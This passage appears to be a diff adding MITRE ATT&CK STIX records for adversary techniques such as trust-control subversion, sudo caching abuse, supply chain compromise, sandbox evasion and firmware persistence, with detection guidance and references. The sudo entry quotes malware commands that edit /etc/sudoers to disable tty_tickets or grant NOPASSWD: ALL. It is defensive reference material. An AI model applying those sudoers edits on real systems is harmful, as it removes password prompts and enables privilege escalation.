suspicious/unexpected values.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1565/001", + "external_id": "T1565.001", + "source_name": "mitre-attack" + }, + { + "source_name": "FireEye APT38 Oct 2018", + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", + "url": "https://content.fireeye.com/apt/rpt-apt38" + }, + { + "url": "https://www.justice.gov/opa/press-release/file/1092091/download", + "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.", + "source_name": "DOJ Lazarus Sony 2018" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2021-10-14T21:18:32.225Z", + "name": "Subvert Trust Controls", + "x_mitre_data_sources": [ + "Windows Registry: Windows Registry Key Creation", + "Windows Registry: Windows Registry Key Modification", + "Process: Process Creation", + "Command: Command Execution", + "File: File Metadata", + "File: File Modification", + "Module: Module Load" + ], + "x_mitre_version": "1.1", + "created": "2020-02-05T14:54:07.588Z", + "revoked": false, + "x_mitre_defense_bypassed": [ + "Application control", + "Anti-virus", + "Autoruns Analysis", + "Digital Certificate Validation", + "Process whitelisting", + "User Mode Signature Validation", + "Windows User Account Control" + ], + "x_mitre_platforms": [ + "Windows", + "macOS", + "Linux" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7", + "description": "Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted programs. Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust. Examples of such features would include a program being allowed to run because it is signed by a valid code signing certificate, a program prompting the user with a warning because it has an attribute set from being downloaded from the Internet, or getting an indication that you are about to connect to an untrusted site.\n\nAdversaries may attempt to subvert these trust mechanisms. The method adversaries use will depend on the specific mechanism they seek to subvert. Adversaries may conduct [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [Modify Registry](https://attack.mitre.org/techniques/T1112) in support of subverting these controls.(Citation: SpectorOps Subverting Trust Sept 2017) Adversaries may also create or steal code signing certificates to acquire trust on target systems.(Citation: Securelist Digital Certificates)(Citation: Symantec Digital Certificates) ", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_detection": "Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers. Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017) A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity.(Citation: SpectorOps Code Signing Dec 2017)\n\nAnalyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure \"Hide Microsoft Entries\" and \"Hide Windows Entries\" are both deselected.(Citation: SpectorOps Subverting Trust Sept 2017) \n\nMonitor and investigate attempts to modify extended file attributes with utilities such as xattr. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1553", + "external_id": "T1553", + "source_name": "mitre-attack" + }, + { + "source_name": "SpectorOps Subverting Trust Sept 2017", + "description": "Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.", + "url": "https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf" + }, + { + "source_name": "Securelist Digital Certificates", + "description": "Ladikov, A. (2015, January 29). Why You Shouldn\u2019t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.", + "url": "https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/" + }, + { + "source_name": "Symantec Digital Certificates", + "description": "Shinotsuka, H. (2013, February 22). How Attackers Steal Private Keys from Digital Certificates. Retrieved March 31, 2016.", + "url": "http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates" + }, + { + "source_name": "SpectorOps Code Signing Dec 2017", + "description": "Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.", + "url": "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-02-05T20:11:12.593Z", + "name": "Sudo", + "created": "2017-12-14T16:46:06.044Z", + "id": "attack-pattern--9e80ddfb-ce32-4961-a778-ca6a10cfae72", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1169", + "external_id": "T1169", + "source_name": "mitre-attack" + }, + { + "source_name": "OSX.Dok Malware", + "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.", + "url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-02-05T20:10:18.586Z", + "name": "Sudo Caching", + "created": "2018-04-18T17:59:24.739Z", + "id": "attack-pattern--2169ba87-1146-4fc7-a118-12b72251db7e", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1206", + "external_id": "T1206", + "source_name": "mitre-attack" + }, + { + "source_name": "sudo man page 2018", + "description": "Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018.", + "url": "https://www.sudo.ws/" + }, + { + "source_name": "cybereason osx proton", + "description": "Amit Serper. (2018, May 10). ProtonB What this Mac Malware Actually Does. Retrieved March 19, 2018.", + "url": "https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Sudo and Sudo Caching", + "x_mitre_data_sources": [ + "Process: Process Metadata", + "Process: Process Creation", + "Command: Command Execution", + "File: File Modification" + ], + "x_mitre_version": "1.0", + "modified": "2020-03-27T01:03:26.306Z", + "created": "2020-01-30T14:34:44.992Z", + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0", + "description": "Adversaries may perform sudo caching and/or use the suoders file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.\n\nWithin Linux and MacOS systems, sudo (sometimes referred to as \"superuser do\") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The sudo command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\"(Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout, which is the amount of time in minutes between instances of sudo before it will re-prompt for a password. This is because sudo has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nThe sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL (Citation: OSX.Dok Malware). Elevated privileges are required to edit this file though.\n\nAdversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, /var/db/sudo's timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additional, if tty_tickets is disabled, adversaries can do this from any tty for that user.\n\nIn the wild, malware has disabled tty_tickets to potentially make scripting easier by issuing echo \\'Defaults !tty_tickets\\' >> /etc/sudoers (Citation: cybereason osx proton). In order for this change to be reflected, the malware also issued killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default.", + "x_mitre_effective_permissions": [ + "root" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_detection": "On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the LOG_INPUT and LOG_OUTPUT directives in the /etc/sudoers file.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1548/003", + "external_id": "T1548.003", + "source_name": "mitre-attack" + }, + { + "source_name": "sudo man page 2018", + "description": "Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018.", + "url": "https://www.sudo.ws/" + }, + { + "source_name": "OSX.Dok Malware", + "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.", + "url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/" + }, + { + "source_name": "cybereason osx proton", + "description": "Amit Serper. (2018, May 10). ProtonB What this Mac Malware Actually Does. Retrieved March 19, 2018.", + "url": "https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2021-01-06T19:32:28.382Z", + "name": "Supply Chain Compromise", + "x_mitre_version": "1.2", + "created": "2018-04-18T17:59:24.739Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7", + "description": "Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.\n\nSupply chain compromise can take place at any stage of the supply chain including:\n\n* Manipulation of development tools\n* Manipulation of a development environment\n* Manipulation of source code repositories (public or private)\n* Manipulation of source code in open-source dependencies\n* Manipulation of software update/distribution mechanisms\n* Compromised/infected system images (multiple cases of removable media infected at the factory) (Citation: IBM Storwize) (Citation: Schneider Electric USB Malware) \n* Replacement of legitimate software with modified versions\n* Sales of modified/counterfeit products to legitimate distributors\n* Shipment interdiction\n\nWhile supply chain compromise can impact any component of hardware or software, attackers looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels. (Citation: Avast CCleaner3 2018) (Citation: Microsoft Dofoil 2018) (Citation: Command Five SK 2011) Targeting may be specific to a desired victim set (Citation: Symantec Elderwood Sept 2012) or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. (Citation: Avast CCleaner3 2018) (Citation: Command Five SK 2011) Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency. (Citation: Trendmicro NPM Compromise)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Veeral Patel" + ], + "x_mitre_detection": "Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. Perform physical inspection of hardware to look for potential tampering.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1195", + "external_id": "T1195", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/437.html", + "external_id": "CAPEC-437", + "source_name": "capec" + }, + { + "url": "https://capec.mitre.org/data/definitions/438.html", + "external_id": "CAPEC-438", + "source_name": "capec" + }, + { + "url": "https://capec.mitre.org/data/definitions/439.html", + "external_id": "CAPEC-439", + "source_name": "capec" + }, + { + "url": "https://www-01.ibm.com/support/docview.wss?uid=ssg1S1010146&myns=s028&mynp=OCSTHGUJ&mynp=OCSTLM5A&mynp=OCSTLM6B&mynp=OCHW206&mync=E&cm_sp=s028-_-OCSTHGUJ-OCSTLM5A-OCSTLM6B-OCHW206-_-E", + "description": "IBM Support. (2017, April 26). Storwize USB Initialization Tool may contain malicious code. Retrieved May 28, 2019.", + "source_name": "IBM Storwize" + }, + { + "url": "https://www.se.com/ww/en/download/document/SESN-2018-236-01/", + "description": "Schneider Electric. (2018, August 24). Security Notification \u2013 USB Removable Media Provided With Conext Combox and Conext Battery Monitor. Retrieved May 28, 2019.", + "source_name": "Schneider Electric USB Malware" + }, + { + "source_name": "Avast CCleaner3 2018", + "description": "Avast Threat Intelligence Team. (2018, March 8). New investigations into the CCleaner incident point to a possible third stage that had keylogger capacities. Retrieved March 15, 2018.", + "url": "https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities" + }, + { + "source_name": "Microsoft Dofoil 2018", + "description": "Windows Defender Research. (2018, March 7). Behavior monitoring combined with machine learning spoils a massive Dofoil coin mining campaign. Retrieved March 20, 2018.", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/07/behavior-monitoring-combined-with-machine-learning-spoils-a-massive-dofoil-coin-mining-campaign/" + }, + { + "source_name": "Command Five SK 2011", + "description": "Command Five Pty Ltd. (2011, September). SK Hack by an Advanced Persistent Threat. Retrieved April 6, 2018.", + "url": "https://www.commandfive.com/papers/C5_APT_SKHack.pdf" + }, + { + "source_name": "Symantec Elderwood Sept 2012", + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + }, + { + "url": "https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets", + "description": "Trendmicro. (2018, November 29). Hacker Infects Node.js Package to Steal from Bitcoin Wallets. Retrieved April 10, 2019.", + "source_name": "Trendmicro NPM Compromise" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Symmetric Cryptography", + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Content" + ], + "x_mitre_version": "1.0", + "modified": "2020-03-26T21:25:37.306Z", + "created": "2020-03-16T15:45:17.032Z", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", + "description": "Adversaries may employ a known symmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Symmetric encryption algorithms use the same key for plaintext encryption and ciphertext decryption. Common symmetric encryption algorithms include AES, DES, 3DES, Blowfish, and RC4.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "x_mitre_detection": "With symmetric encryption, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures.\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1573/001", + "external_id": "T1573.001", + "source_name": "mitre-attack" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2021-10-18T14:57:07.973Z", + "name": "System Checks", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "Process: OS API Execution" + ], + "x_mitre_version": "2.1", + "created": "2020-03-06T20:57:37.959Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "x_mitre_defense_bypassed": [ + "Static File Analysis", + "Signature-based detection", + "Host forensic analysis", + "Anti-virus" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6", + "description": "Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nSpecific checks will vary based on the target and/or adversary, but may involve behaviors such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1059/001), [System Information Discovery](https://attack.mitre.org/techniques/T1082), and [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks into one script and then have the program exit if it determines the system to be a virtual environment. \n\nChecks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size. \n\nOther common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output. \n \nHardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Deloitte Threat Library Team" + ], + "x_mitre_detection": "Virtualization/sandbox related system checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1497/001", + "external_id": "T1497.001", + "source_name": "mitre-attack" + }, + { + "url": "https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc", + "description": "Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021.", + "source_name": "Deloitte Environment Awareness" + }, + { + "url": "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/stopping-malware-fake-virtual-machine/", + "description": "Roccia, T. (2017, January 19). Stopping Malware With a Fake Virtual Machine. Retrieved April 17, 2019.", + "source_name": "McAfee Virtual Jan 2017" + }, + { + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/", + "description": "Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.", + "source_name": "Unit 42 OilRig Sept 2018" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-03-30T19:16:29.473Z", + "name": "System Firmware", + "created": "2017-05-31T21:30:28.613Z", + "id": "attack-pattern--6856ddd6-2df3-4379-8b87-284603c189c3", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1019", + "external_id": "T1019", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/532.html", + "external_id": "CAPEC-532", + "source_name": "capec" + }, + { + "source_name": "Wikipedia BIOS", + "description": "Wikipedia. (n.d.). BIOS. Retrieved January 5, 2016.", + "url": "https://en.wikipedia.org/wiki/BIOS" + }, + { + "source_name": "Wikipedia UEFI", + "description": "Wikipedia. (2017, July 10). Unified Extensible Firmware Interface. Retrieved July 11, 2017.", + "url": "https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface" + }, + { + "source_name": "About UEFI", + "description": "UEFI Forum. (n.d.). About UEFI Forum. Retrieved January 5, 2016.", + "url": "http://www.uefi.org/about" + }, + { + "source_name": "MITRE Trustworthy Firmware Measurement", + "description": "Upham, K. (2014, March). Going Deep into the BIOS with MITRE Firmware Security Research. Retrieved January 5, 2016.", + "url": "http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research" + }, + { + "source_name": "MITRE Copernicus", + "description": "Butterworth, J. (2013, July 30). Copernicus: Question Your Assumptions about BIOS Security. Retrieved December 11, 2015.", + "url": "http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about" + }, + { + "source_name": "McAfee CHIPSEC Blog", + "description": "Beek, C., Samani, R. (2017, March 8). CHIPSEC Support Against Vault 7 Disclosure Scanning. Retrieved March 13, 2017.", + "url": "https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/" + }, + { + "source_name": "Github CHIPSEC", + "description": "Intel. (2017, March 18). CHIPSEC Platform Security Assessment Framework. Retrieved March 20, 2017.", + "url": "https://github.com/chipsec/chipsec" + }, + { + "source_name": "Intel HackingTeam UEFI Rootkit", + "description": "Intel Security. (2005, July 16). HackingTeam's UEFI Rootkit Details. Retrieved March 20, 2017.", + "url": "http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "System Firmware", + "x_mitre_data_sources": [ + "Firmware: Firmware Modification" + ], + "x_mitre_version": "1.0", + "modified": "2020-05-19T21:22:37.865Z", + "created": "2019-12-19T19:43:34.507Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "id": "attack-pattern--16ab6452-c3c1-497c-a47d-206018ca1ada", + "x_mitre_defense_bypassed": [ + "Host intrusion prevention systems", + "Anti-virus", + "File monitoring" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ], + "description": "Adversaries may modify system firmware to persist on systems.The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)\n\nSystem firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.", + "x_mitre_contributors": [ + "Jean-Ian Boutin, ESET", + "McAfee", + "Ryan Becwar" + ], + "x_mitre_detection": "System firmware manipulation may be detected. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior.\n\nLikewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1542/001", + "external_id": "T1542.001", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/532.html", + "external_id": "CAPEC-532", + "source_name": "capec" + }, + { + "source_name": "Wikipedia BIOS", + "description": "Wikipedia. (n.d.). BIOS. Retrieved January 5, 2016.", + "url": "https://en.wikipedia.org/wiki/BIOS" + }, + { + "source_name": "Wikipedia UEFI", + "description": "Wikipedia. (2017, July 10). Unified Extensible Firmware Interface. Retrieved July 11, 2017.", + "url": "https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface" + }, + { + "source_name": "About UEFI", + "description": "UEFI Forum. (n.d.). About UEFI Forum. Retrieved January 5, 2016.", + "url": "http://www.uefi.org/about" + }, + { + "source_name": "MITRE Trustworthy Firmware Measurement", + "description": "Upham, K. (2014, March). Going Deep into the BIOS with MITRE Firmware Security Research. Retrieved January 5, 2016.", + "url": "http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research" + }, + { + "source_name": "MITRE Copernicus", + "description": "Butterworth, J. (2013, July 30). Copernicus: Question Your Assumptions about BIOS Security. Retrieved December 11, 2015.", + "url": "http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about" + }, + { + "source_name": "McAfee CHIPSEC Blog", + "description": "Beek, C., Samani, R. (2017, March 8). CHIPSEC Support Against Vault 7 Disclosure Scanning. Retrieved March 13, 2017.", + "url": "https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/" + }, + { + "source_name": "Github CHIPSEC", + "description": "Intel. (2017, March 18). CHIPSEC Platform Security Assessment Framework. Retrieved March 20, 2017.", + "url": "https://github.com/chipsec/chipsec" + }, + { + "source_name": "Intel HackingTeam UEFI Rootkit", + "description": "Intel Security. (2005, July 16). HackingTeam's UEFI Rootkit Details. Retrieved March 20, 2017.", + "url": "http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "System Information Discovery", + "x_mitre_data_sources": [ + "Instance: Instance Metadata", + "Process: Process Creation", + "Command: Command Execution", + "Process: OS API Execution" + ], + "x_mitre_version": "2.3", + "modified": "2021-10-13T23:21:27.750Z", + "created": "2017-05-31T21:31:04.307Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "id": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "x_mitre_platforms": [ + "Windows", + "IaaS", + "Linux", + "macOS" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User" + ], + "description": "An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nTools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. As an example, adversaries with user-level access can execute the df -aH command to obtain currently mounted disks and associated freely available space. [System Information Discovery](https://attack.mitre.org/techniques/T1082) combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques)\n\nInfrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)", + "x_mitre_contributors": [ + "Maril Vernon @shewhohacks", + "Praetorian" + ], + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nIn cloud-based systems, native logging can be used to identify access to certain APIs and dashboards that may contain system information. Depending on how the environment is used, that data alone may not be useful due to benign use during normal operations.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1082", + "external_id": "T1082", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/312.html", + "external_id": "CAPEC-312", + "source_name": "capec" + }, + { + "url": "https://www.sentinelone.com/blog/trail-osx-fairytale-adware-playing-malware/", + "description": "Phile Stokes. (2018, September 20). On the Trail of OSX.FairyTale | Adware Playing at Malware. Retrieved August 24, 2021.", + "source_name": "OSX.FairyTale" + }, + { + "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/", + "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.", + "source_name": "20 macOS Common Tools and Techniques" + }, + { + "url": "https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html", + "description": "Amazon. (n.d.). 